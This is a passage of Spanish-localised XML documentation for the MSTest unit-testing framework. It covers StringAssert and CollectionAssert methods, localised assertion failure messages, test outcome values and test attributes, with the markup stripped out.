Los valores NULL se convierten en "NULL". Los caracteres NULL se convierten en "\\0". - - - Objeto que se va a convertir en cadena. - - - La cadena convertida. - - - - - Aserción de cadena. - - - - - Obtiene la instancia de singleton de la funcionalidad CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Comprueba si la cadena especificada contiene la subcadena indicada - y produce una excepción si la subcadena no está en la - cadena de prueba. - - - La cadena que se espera que contenga . - - - La cadena que se espera que aparezca en . - - - Thrown if is not found in - . - - - - - Comprueba si la cadena especificada contiene la subcadena indicada - y produce una excepción si la subcadena no está en la - cadena de prueba. - - - La cadena que se espera que contenga . - - - La cadena que se espera que aparezca en . - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not found in - . - - - - - Comprueba si la cadena especificada contiene la subcadena indicada - y produce una excepción si la subcadena no está en la - cadena de prueba. - - - La cadena que se espera que contenga . - - - La cadena que se espera que aparezca en . - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not found in - . - - - - - Comprueba si la cadena especificada empieza por la subcadena indicada - y produce una excepción si la cadena de prueba no empieza por la - subcadena. - - - Cadena que se espera que empiece por . - - - Cadena que se espera que sea un prefijo de . - - - Thrown if does not begin with - . - - - - - Comprueba si la cadena especificada empieza por la subcadena indicada - y produce una excepción si la cadena de prueba no empieza por la - subcadena. - - - Cadena que se espera que empiece por . - - - Cadena que se espera que sea un prefijo de . - - - Mensaje que se va a incluir en la excepción cuando - no empieza por . El mensaje se - muestra en los resultados de las pruebas. - - - Thrown if does not begin with - . - - - - - Comprueba si la cadena especificada empieza por la subcadena indicada - y produce una excepción si la cadena de prueba no empieza por la - subcadena. - - - Cadena que se espera que empiece por . - - - Cadena que se espera que sea un prefijo de . - - - Mensaje que se va a incluir en la excepción cuando - no empieza por . El mensaje se - muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not begin with - . - - - - - Comprueba si la cadena especificada termina con la subcadena indicada - y produce una excepción si la cadena de prueba no termina con la - subcadena. - - - Cadena que se espera que termine con . - - - Cadena que se espera que sea un sufijo de . - - - Thrown if does not end with - . - - - - - Comprueba si la cadena especificada termina con la subcadena indicada - y produce una excepción si la cadena de prueba no termina con la - subcadena. - - - Cadena que se espera que termine con . - - - Cadena que se espera que sea un sufijo de . - - - Mensaje que se va a incluir en la excepción cuando - no termina con . El mensaje se - muestra en los resultados de las pruebas. - - - Thrown if does not end with - . - - - - - Comprueba si la cadena especificada termina con la subcadena indicada - y produce una excepción si la cadena de prueba no termina con la - subcadena. - - - Cadena que se espera que termine con . - - - Cadena que se espera que sea un sufijo de . - - - Mensaje que se va a incluir en la excepción cuando - no termina con . El mensaje se - muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not end with - . - - - - - Comprueba si la cadena especificada coincide con una expresión regular - y produce una excepción si la cadena no coincide con la expresión. - - - La cadena que se espera que coincida con . - - - Expresión regular con la que se espera que - coincida. - - - Thrown if does not match - . - - - - - Comprueba si la cadena especificada coincide con una expresión regular - y produce una excepción si la cadena no coincide con la expresión. - - - La cadena que se espera que coincida con . - - - Expresión regular con la que se espera que - coincida. - - - Mensaje que se va a incluir en la excepción cuando - no coincide con . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if does not match - . - - - - - Comprueba si la cadena especificada coincide con una expresión regular - y produce una excepción si la cadena no coincide con la expresión. - - - La cadena que se espera que coincida con . - - - Expresión regular con la que se espera que - coincida. - - - Mensaje que se va a incluir en la excepción cuando - no coincide con . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not match - . - - - - - Comprueba si la cadena especificada no coincide con una expresión regular - y produce una excepción si la cadena coincide con la expresión. - - - Cadena que se espera que no coincida con . - - - Expresión regular con la que se espera que no - coincida. - - - Thrown if matches . - - - - - Comprueba si la cadena especificada no coincide con una expresión regular - y produce una excepción si la cadena coincide con la expresión. - - - Cadena que se espera que no coincida con . - - - Expresión regular con la que se espera que no - coincida. - - - Mensaje que se va a incluir en la excepción cuando - coincide con . El mensaje se muestra en los resultados de las - pruebas. - - - Thrown if matches . - - - - - Comprueba si la cadena especificada no coincide con una expresión regular - y produce una excepción si la cadena coincide con la expresión. - - - Cadena que se espera que no coincida con . - - - Expresión regular con la que se espera que no - coincida. - - - Mensaje que se va a incluir en la excepción cuando - coincide con . El mensaje se muestra en los resultados de las - pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if matches . - - - - - Colección de clases auxiliares para probar varias condiciones asociadas - a las colecciones en las pruebas unitarias. Si la condición que se está probando no se - cumple, se produce una excepción. - - - - - Obtiene la instancia de singleton de la funcionalidad CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Comprueba si la colección especificada contiene el elemento indicado - y produce una excepción si el elemento no está en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que esté en la colección. - - - Thrown if is not found in - . - - - - - Comprueba si la colección especificada contiene el elemento indicado - y produce una excepción si el elemento no está en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not found in - . - - - - - Comprueba si la colección especificada contiene el elemento indicado - y produce una excepción si el elemento no está en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not found in - . - - - - - Comprueba si la colección especificada no contiene el elemento indicado - y produce una excepción si el elemento se encuentra en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que no esté en la colección. - - - Thrown if is found in - . - - - - - Comprueba si la colección especificada no contiene el elemento indicado - y produce una excepción si el elemento se encuentra en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que no esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - se encuentra en . El mensaje se muestra en los resultados de las - pruebas. - - - Thrown if is found in - . - - - - - Comprueba si la colección especificada no contiene el elemento indicado - y produce una excepción si el elemento se encuentra en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que no esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - se encuentra en . El mensaje se muestra en los resultados de las - pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is found in - . - - - - - Comprueba que todos los elementos de la colección especificada no sean NULL - y produce una excepción si alguno lo es. - - - Colección donde buscar elementos NULL. - - - Thrown if a null element is found in . - - - - - Comprueba que todos los elementos de la colección especificada no sean NULL - y produce una excepción si alguno lo es. - - - Colección donde buscar elementos NULL. - - - Mensaje que se va a incluir en la excepción cuando - contiene un elemento NULL. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if a null element is found in . - - - - - Comprueba que todos los elementos de la colección especificada no sean NULL - y produce una excepción si alguno lo es. - - - Colección donde buscar elementos NULL. - - - Mensaje que se va a incluir en la excepción cuando - contiene un elemento NULL. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if a null element is found in . - - - - - Comprueba si todos los elementos de la colección especificada son únicos o no - y produce una excepción si dos elementos de la colección son iguales. - - - Colección donde buscar elementos duplicados. - - - Thrown if a two or more equal elements are found in - . - - - - - Comprueba si todos los elementos de la colección especificada son únicos o no - y produce una excepción si dos elementos de la colección son iguales. - - - Colección donde buscar elementos duplicados. - - - Mensaje que se va a incluir en la excepción cuando - contiene al menos un elemento duplicado. El mensaje se muestra en los - resultados de las pruebas. - - - Thrown if a two or more equal elements are found in - . - - - - - Comprueba si todos los elementos de la colección especificada son únicos o no - y produce una excepción si dos elementos de la colección son iguales. - - - Colección donde buscar elementos duplicados. - - - Mensaje que se va a incluir en la excepción cuando - contiene al menos un elemento duplicado. El mensaje se muestra en los - resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if a two or more equal elements are found in - . - - - - - Comprueba si una colección es un subconjunto de otra y produce - una excepción si algún elemento del subconjunto no se encuentra también en el - superconjunto. - - - Se esperaba que la colección fuera un subconjunto de . - - - Se esperaba que la colección fuera un superconjunto de - - - Thrown if an element in is not found in - . - - - - - Comprueba si una colección es un subconjunto de otra y produce - una excepción si algún elemento del subconjunto no se encuentra también en el - superconjunto. - - - Se esperaba que la colección fuera un subconjunto de . - - - Se esperaba que la colección fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Thrown if an element in is not found in - . - - - - - Comprueba si una colección es un subconjunto de otra y produce - una excepción si algún elemento del subconjunto no se encuentra también en el - superconjunto. - - - Se esperaba que la colección fuera un subconjunto de . - - - Se esperaba que la colección fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if an element in is not found in - . - - - - - Comprueba si una colección no es un subconjunto de otra y produce - una excepción si todos los elementos del subconjunto se encuentran también en el - superconjunto. - - - Se esperaba que la colección no fuera un subconjunto de . - - - Se esperaba que la colección no fuera un superconjunto de - - - Thrown if every element in is also found in - . - - - - - Comprueba si una colección no es un subconjunto de otra y produce - una excepción si todos los elementos del subconjunto se encuentran también en el - superconjunto. - - - Se esperaba que la colección no fuera un subconjunto de . - - - Se esperaba que la colección no fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando cada elemento de - también se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Thrown if every element in is also found in - . - - - - - Comprueba si una colección no es un subconjunto de otra y produce - una excepción si todos los elementos del subconjunto se encuentran también en el - superconjunto. - - - Se esperaba que la colección no fuera un subconjunto de . - - - Se esperaba que la colección no fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando cada elemento de - también se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if every element in is also found in - . - - - - - Comprueba si dos colecciones contienen los mismos elementos y produce - una excepción si alguna de ellas contiene un elemento que - no está en la otra. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Comprueba si dos colecciones contienen los mismos elementos y produce - una excepción si alguna de ellas contiene un elemento que - no está en la otra. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando un elemento se encontró - en una de las colecciones pero no en la otra. El mensaje se muestra - en los resultados de las pruebas. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Comprueba si dos colecciones contienen los mismos elementos y produce - una excepción si alguna de ellas contiene un elemento que - no está en la otra. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando un elemento se encontró - en una de las colecciones pero no en la otra. El mensaje se muestra - en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Comprueba si dos colecciones contienen elementos distintos y produce una - excepción si las colecciones contienen elementos idénticos, independientemente - del orden. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera que sean distintos a los de la colección real. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Comprueba si dos colecciones contienen elementos distintos y produce una - excepción si las colecciones contienen elementos idénticos, independientemente - del orden. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera que sean distintos a los de la colección real. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - contiene los mismos elementos que . El mensaje - se muestra en los resultados de las pruebas. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Comprueba si dos colecciones contienen elementos distintos y produce una - excepción si las colecciones contienen elementos idénticos, independientemente - del orden. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera que sean distintos a los de la colección real. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - contiene los mismos elementos que . El mensaje - se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Comprueba si todos los elementos de la colección especificada son instancias - del tipo esperado y produce una excepción si el tipo esperado no - se encuentra en la jerarquía de herencia de uno o más de los elementos. - - - Colección que contiene los elementos que la prueba espera que sean del - tipo especificado. - - - El tipo esperado de cada elemento de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Comprueba si todos los elementos de la colección especificada son instancias - del tipo esperado y produce una excepción si el tipo esperado no - se encuentra en la jerarquía de herencia de uno o más de los elementos. - - - Colección que contiene los elementos que la prueba espera que sean del - tipo especificado. - - - El tipo esperado de cada elemento de . - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no es una instancia de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Comprueba si todos los elementos de la colección especificada son instancias - del tipo esperado y produce una excepción si el tipo esperado no - se encuentra en la jerarquía de herencia de uno o más de los elementos. - - - Colección que contiene los elementos que la prueba espera que sean del - tipo especificado. - - - El tipo esperado de cada elemento de . - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no es una instancia de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Determina si la primera colección es un subconjunto de la - segunda. Si cualquiera de los conjuntos contiene elementos duplicados, el número - de repeticiones del elemento en el subconjunto debe ser inferior o - igual al número de repeticiones en el superconjunto. - - - Colección que la prueba espera que esté incluida en . - - - Colección que la prueba espera que contenga . - - - True si es un subconjunto de - , de lo contrario false. - - - - - Construye un diccionario que contiene el número de repeticiones de cada - elemento en la colección especificada. - - - Colección que se va a procesar. - - - Número de elementos NULL de la colección. - - - Diccionario que contiene el número de repeticiones de cada elemento - en la colección especificada. - - - - - Encuentra un elemento no coincidente entre ambas colecciones. Un elemento - no coincidente es aquel que aparece un número distinto de veces en la - colección esperada de lo que aparece en la colección real. Se - supone que las colecciones son referencias no NULL diferentes con el - mismo número de elementos. El autor de la llamada es el responsable de - este nivel de comprobación. Si no hay ningún elemento no coincidente, - la función devuelve false y no deben usarse parámetros out. - - - La primera colección para comparar. - - - La segunda colección para comparar. - - - Número esperado de repeticiones de - o 0 si no hay ningún elemento no - coincidente. - - - El número real de repeticiones de - o 0 si no hay ningún elemento no - coincidente. - - - El elemento no coincidente (puede ser nulo) o NULL si no hay ningún - elemento no coincidente. - - - Es true si se encontró un elemento no coincidente. De lo contrario, false. - - - - - compara los objetos con object.Equals. - - - - - Clase base para las excepciones de marco. - - - - - Inicializa una nueva instancia de la clase . - - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - - - - Clase de recurso fuertemente tipado para buscar cadenas traducidas, etc. - - - - - Devuelve la instancia de ResourceManager almacenada en caché que usa esta clase. - - - - - Invalida la propiedad CurrentUICulture del subproceso actual para todas - las búsquedas de recursos que usan esta clase de recursos fuertemente tipados. - - - - - Busca una cadena traducida similar a "La cadena de acceso tiene una sintaxis no válida". - - - - - Busca una cadena traducida similar a "La colección esperada contiene {1} repeticiones de <{2}>. La colección actual contiene {3} repeticiones. {0}". - - - - - Busca una cadena traducida similar a "Se encontró un elemento duplicado: <{1}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba: <{1}>. El caso es distinto para el valor real: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba una diferencia no superior a <{3}> entre el valor esperado <{1}> y el valor real <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba: <{1} ({2})>, pero es: <{3} ({4})>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba: <{1}>, pero es: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba una diferencia mayor que <{3}> entre el valor esperado <{1}> y el valor real <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba cualquier valor excepto: <{1}>, pero es: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "No pase tipos de valor a AreSame(). Los valores convertidos a Object no serán nunca iguales. Considere el uso de AreEqual(). {0}". - - - - - Busca una cadena traducida similar a "Error de {0}. {1}". - - - - - Busca una cadena traducida similar a "No se admite un método de prueba asincrónico con UITestMethodAttribute. Quite el método asincrónico o use TestMethodAttribute. - - - - - Busca una cadena traducida similar a "Ambas colecciones están vacías". {0}. - - - - - Busca una cadena traducida similar a "Ambas colecciones tienen los mismos elementos". - - - - - Busca una cadena traducida similar a "Las referencias de ambas colecciones apuntan al mismo objeto de colección. {0}". - - - - - Busca una cadena traducida similar a "Ambas colecciones tienen los mismos elementos. {0}". - - - - - Busca una cadena traducida similar a "{0}({1})". - - - - - Busca una cadena traducida similar a "(NULL)". - - - - - Busca una cadena traducida similar a "(objeto)". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no contiene la cadena "{1}". {2}". - - - - - Busca una cadena traducida similar a "{0} ({1})". - - - - - Busca una cadena traducida similar a "No se debe usar Assert.Equals para aserciones. Use Assert.AreEqual y Overloads en su lugar". - - - - - Busca una cadena traducida similar a "El número de elementos de las colecciones no coincide. Se esperaba: <{1}>, pero es: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "El elemento del índice {0} no coincide". - - - - - Busca una cadena traducida similar a "El elemento del índice {1} no es del tipo esperado. Tipo esperado: <{2}>, tipo real: <{3}>. {0}". - - - - - Busca una cadena traducida similar a "El elemento del índice {1} es (NULL). Se esperaba el tipo: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no termina con la cadena "{1}". {2}". - - - - - Busca una cadena traducida similar a "Argumento no válido: EqualsTester no puede utilizar valores NULL". - - - - - Busca una cadena traducida similar a "El objeto de tipo {0} no se puede convertir en {1}". - - - - - Busca una cadena traducida similar a "El objeto interno al que se hace referencia ya no es válido". - - - - - Busca una cadena traducida similar a "El parámetro "{0}" no es válido. {1}". - - - - - Busca una cadena traducida similar a "La propiedad {0} tiene el tipo {1}; se esperaba el tipo {2}". - - - - - Busca una cadena traducida similar a "{0} Tipo esperado: <{1}>. Tipo real: <{2}>". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no coincide con el patrón "{1}". {2}". - - - - - Busca una cadena traducida similar a "Tipo incorrecto: <{1}>. Tipo real: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "La cadena "{0}" coincide con el patrón "{1}". {2}". - - - - - Busca una cadena traducida similar a "No se especificó ningún atributo DataRowAttribute. Se requiere al menos un elemento DataRowAttribute con DataTestMethodAttribute". - - - - - Busca una cadena traducida similar a "No se produjo ninguna excepción. Se esperaba la excepción {1}. {0}". - - - - - Busca una cadena traducida similar a "El parámetro "{0}" no es válido. El valor no puede ser NULL. {1}". - - - - - Busca una cadena traducida similar a "Número diferente de elementos". - - - - - Busca una cadena traducida similar a - "No se encontró el constructor con la signatura especificada. Es posible que tenga que regenerar el descriptor de acceso privado, - o que el miembro sea privado y esté definido en una clase base. Si se trata de esto último, debe pasar el tipo - que define el miembro al constructor de PrivateObject". - - - - - Busca una cadena traducida similar a - "No se encontró el miembro especificado ({0}). Es posible que tenga que regenerar el descriptor de acceso privado, - o que el miembro sea privado y esté definido en una clase base. Si se trata de esto último, debe pasar el tipo - que define el miembro al constructor de PrivateObject". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no empieza con la cadena "{1}". {2}". - - - - - Busca una cadena traducida similar a "El tipo de excepción esperado debe ser System.Exception o un tipo derivado de System.Exception". - - - - - Busca una cadena traducida similar a "No se pudo obtener el mensaje para una excepción del tipo {0} debido a una excepción". - - - - - Busca una cadena traducida similar a "El método de prueba no inició la excepción esperada {0}. {1}". - - - - - Busca una cadena traducida similar a "El método de prueba no inició una excepción. El atributo {0} definido en el método de prueba esperaba una excepción". - - - - - Busca una cadena traducida similar a "El método de prueba inició la excepción {0}, pero se esperaba la excepción {1}. Mensaje de la excepción: {2}". - - - - - Busca una cadena traducida similar a "El método de prueba inició la excepción {0}, pero se esperaba la excepción {1} o un tipo derivado de ella. Mensaje de la excepción: {2}". - - - - - Busca una cadena traducida similar a "Se produjo la excepción {2}, pero se esperaba la excepción {1}. {0} - Mensaje de excepción: {3} - Seguimiento de la pila: {4}". - - - - - Resultados de la prueba unitaria. - - - - - La prueba se ejecutó, pero hubo problemas. - Entre estos, puede haber excepciones o aserciones con errores. - - - - - La prueba se completó, pero no podemos determinar si el resultado fue correcto o no. - Se puede usar para pruebas anuladas. - - - - - La prueba se ejecutó sin problemas. - - - - - La prueba se está ejecutando. - - - - - Error del sistema al intentar ejecutar una prueba. - - - - - Se agotó el tiempo de espera de la prueba. - - - - - El usuario anuló la prueba. - - - - - La prueba tiene un estado desconocido - - - - - Proporciona funcionalidad auxiliar para el marco de pruebas unitarias. - - - - - Obtiene los mensajes de excepción, incluidos los mensajes de todas las excepciones internas, - de forma recursiva. - - Excepción para la que se obtienen los mensajes - la cadena con información del mensaje de error - - - - Enumeración para cuando se agota el tiempo de espera que se puede usar con el atributo . - El tipo de la enumeración debe coincidir. - - - - - Infinito. - - - - - Atributo de la clase de prueba. - - - - - Obtiene un atributo de método de prueba que habilita la ejecución de esta prueba. - - La instancia de atributo de método de prueba definida en este método. - Tipo que se utilizará para ejecutar esta prueba. - Extensions can override this method to customize how all methods in a class are run. - - - - Atributo del método de prueba. - - - - - Ejecuta un método de prueba. - - El método de prueba para ejecutar. - Una matriz de objetos de TestResult que representan los resultados de la prueba. - Extensions can override this method to customize running a TestMethod. - - - - Atributo para inicializar la prueba. - - - - - Atributo de limpieza de la prueba. - - - - - Atributo de omisión. - - - - - Atributo de propiedad de la prueba. - - - - - Inicializa una nueva instancia de la clase . - - - El nombre. - - - El valor. - - - - - Obtiene el nombre. - - - - - Obtiene el valor. - - - - - Atributo de inicialización de la clase. - - - - - Atributo de limpieza de la clase. - - - - - Atributo de inicialización del ensamblado. - - - - - Atributo de limpieza del ensamblado. - - - - - Propietario de la prueba. - - - - - Inicializa una nueva instancia de la clase . - - - El propietario. - - - - - Obtiene el propietario. - - - - - Atributo de prioridad. Se usa para especificar la prioridad de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase . - - - La prioridad. - - - - - Obtiene la prioridad. - - - - - Descripción de la prueba. - - - - - Inicializa una nueva instancia de la clase para describir una prueba. - - La descripción. - - - - Obtiene la descripción de una prueba. - - - - - URI de estructura de proyectos de CSS. - - - - - Inicializa una nueva instancia de la clase para el URI de estructura de proyecto de CSS. - - URI de estructura de proyectos de CSS. - - - - Obtiene el URI de estructura de proyectos de CSS. - - - - - URI de iteración de CSS. - - - - - Inicializa una nueva instancia de la clase para el URI de iteración de CSS. - - URI de iteración de CSS. - - - - Obtiene el URI de iteración de CSS. - - - - - Atributo WorkItem. Se usa para especificar un elemento de trabajo asociado a esta prueba. - - - - 